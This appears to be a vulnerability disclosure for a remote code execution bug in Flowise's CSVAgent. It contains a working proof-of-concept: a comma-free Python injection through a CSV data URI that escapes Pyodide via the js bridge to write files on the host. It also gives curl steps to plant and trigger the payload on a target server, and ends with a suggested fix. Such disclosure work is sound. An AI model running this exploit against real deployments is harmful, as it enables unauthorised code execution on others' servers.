} else {
  if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) {
    files = JSON.parse(csvFileBase64)
  } else {
    files = [csvFileBase64]
  }

  for (const file of files) {
    if (!file) continue
    const splitDataURI = file.split(',')
    splitDataURI.pop()              // discards trailing filename segment
    base64String += splitDataURI.pop() ?? ''   // captures the segment we attack
  }
}

const code = `import pandas as pd
import base64
from io import StringIO
import json

base64 string = "${base64String}"   // ← line 161: interpolation sink

decoded data = base64.b64decode(base64 string)
csv data = StringIO(decoded data.decode('utf-8'))

df = pd.${customReadCSVFunc}
my dict = df.dtypes.astype(str).to dict()
print(my dict)
json.dumps(my dict)`
dataframeColDict = await pyodide.runPythonAsync(code)  // ← line 171: sink

export async function LoadPyodide(): Promise<PyodideInterface> {
  if (pyodideInstance === undefined) {
    const { loadPyodide } = await import('pyodide')
    const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') }
    pyodideInstance = await loadPyodide(obj)
    await pyodideInstance.loadPackage(['pandas', 'numpy'])
  }
  return pyodideInstance
}

import js
await js.eval(
  "(async () => {"
  " const fs = await import('fs');"
  " fs.writeFileSync('proof.txt', 'pwned');"
  "})()"
)

{
 "name": "poc-flowise-s1",
 "version": "1.0.0",
 "type": "commonjs",
 "dependencies": {
  "pyodide": "^0.29.3"
 }
}

// Full host-RCE PoC for Flowise CSVAgent base64-injection.
//
// Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs
// the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled
// csvFile data URI. Demonstrates:
//  1. JS-side template-literal interpolation produces malicious Python
//  2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path)
//  3. Pyodide-on-Node `js` bridge reaches Node's fs module via dynamic
//   import('fs') -> host file write
//
// CONSTRAINTS:
//  * csvFile is split on `,` by the agent (CSVAgent.ts:135-137) — segment[2]
//   of the data URI is what becomes `base64 string`, so this segment must
//   contain NO raw `,` bytes.
//  * Inside a Python double-quoted string literal, `,` is the escape
//   for `,`. The data-URI parser sees the 6 raw bytes ``, `u`, `0`, `0`,
//   `2`, `c` (no commas), but Python's lexer turns them into commas at
//   runtime — letting us pass multiple arguments to JS functions inside
//   the Python source.
//
// NODE-VERSION NOTE: an earlier revision of this PoC used
//  `cp = js.process.mainModule.require("child process"); cp.execSync(...)`
// which is shorter but only works on Node ≤ 13 — `process.mainModule` was
// deprecated and now returns `undefined` on Node 14+, so the inner
// `.require(...)` silently no-ops. The `js.eval` + dynamic-`import()` form
// below works on any Node 13.2+ in both CommonJS and ESM contexts and was
// confirmed end-to-end against `flowise@3.1.2` running on Node 20.20.2.

const fs = require('fs')
const path = require('path')
const { loadPyodide } = require('pyodide')

const proofName = 'flowise a1 pyodide proof.txt'
const proofPath = path.resolve( dirname, proofName)
const proofMarker = 'FLOWISE A1 HOST RCE via pyodide dynamic import'

// --- Attacker payload (Python; comma-free) ----------------------------------
// Closes the `base64 string = "` literal with `";`, runs malicious Python,
// then `#` comments out the surviving closing `"` so the rest of the
// bootstrap template still parses.
const pythonInjection =
  '";
' +
  'import js
' +
  `await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('${proofName}'u002c '${proofMarker}'); })()")
` +
  '#'

// Sanity: any commas would fragment the injection on the JS side.
if (pythonInjection.includes(',')) {
  throw new Error('PoC bug: injection segment contains a comma — would be split by csvFile.split(",")')
}

const csvFile = `data:text/csv;base64,A,${pythonInjection},IGNORED`

// --- JS side: mirror CSVAgent.ts:127-138 ------------------------------------
const csvFileBase64 = csvFile
const files = csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']') ? JSON.parse(csvFileBase64) : [csvFileBase64]
let base64String = ''
for (const file of files) {
  if (!file) continue
  const splitDataURI = file.split(',')
  splitDataURI.pop()
  base64String += splitDataURI.pop() ?? ''
}

// --- JS side: mirror CSVAgent.ts:156-170 (pandas import omitted) ------------
// We omit `import pandas as pd` so we don't need to load pandas (~30 MB) just
// to demonstrate the injection. The real flow's pyodide instance preloads
// pandas via LoadPyodide() (core.ts:12). The injection point and validator
// bypass are identical either way.
const code = `import base64
from io import StringIO
import json

base64 string = "${base64String}"

decoded data = base64.b64decode(base64 string)
csv data = StringIO(decoded data.decode('utf-8'))
print("post-injection bootstrap continued; base64 string =", repr(base64 string))
`

console.log('--- Assembled Python (passed verbatim to pyodide.runPythonAsync) ---')
console.log(code)
console.log('--- end ---
')

;(async () => {
  try { fs.unlinkSync(proofPath) } catch {}

  console.log('[*] Loading pyodide...')
  const pyodide = await loadPyodide()
  console.log('[*] Pyodide loaded; running attacker-assembled Python...
')

  try {
    await pyodide.runPythonAsync(code)
  } catch (e) {
    console.log('[!] runPythonAsync threw (the bootstrap may fail AFTER the injection has executed):')
    console.log(String(e).split('
').slice(0, 8).join('
'))
  }

  // give the spawned writeFileSync a moment to flush
  await new Promise((r) => setTimeout(r, 500))

  console.log('
--- Proof file at ' + proofPath + ' ---')
  if (fs.existsSync(proofPath)) {
    console.log(fs.readFileSync(proofPath, 'utf-8').trim())
    console.log('
[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.')
  } else {
    console.log('[-] Proof file not present.')
  }
})()

import base64
from io import StringIO
import json

base64 string = "";
import js
await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('flowise a1 pyodide proof.txt', 'FLOWISE A1 HOST RCE via pyodide dynamic import'); })()")
#"

decoded data = base64.b64decode(base64 string)
csv data = StringIO(decoded data.decode('utf-8'))
...

[*] Loading pyodide...
[*] Pyodide loaded; running attacker-assembled Python...

--- Proof file at .../flowise a1 pyodide proof.txt ---
FLOWISE A1 HOST RCE via pyodide dynamic import

[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.

# Step 1 — authenticated chatflow author (any user with chatflows:create
# in OSS, this is typically every registered user) plants the flow.
# evil-csvagent-flow.json is a chatflow whose csvAgent node has
#  inputs.csvFile = "data:text/csv;base64,A,<comma-free python payload>,IGNORED"
curl -X POST https://target/api/v1/chatflows 
 -H "Authorization: Bearer <api-key with chatflows:create>" 
 -H "Content-Type: application/json" 
 -d @evil-csvagent-flow.json
# → returns chatflow id, e.g. "<flow-uuid>"

# Step 2 — anyone, no auth (the route is whitelisted at
# packages/server/src/utils/constants.ts:12) triggers execution:
curl -X POST https://target/api/v1/prediction/<flow-uuid> 
 -H "Content-Type: application/json" 
 -d '{"question":"go"}'

const pyodide = await LoadPyodide()
pyodide.globals.set('base64 string', base64String)
const code = `import pandas as pd
import base64
from io import StringIO
import json

decoded data = base64.b64decode(base64 string)

csv data = StringIO(decoded data.decode('utf-8'))

df = pd.${customReadCSVFunc}
my dict = df.dtypes.astype(str).to dict()
print(my dict)
json.dumps(my dict)`
dataframeColDict = await pyodide.runPythonAsync(code)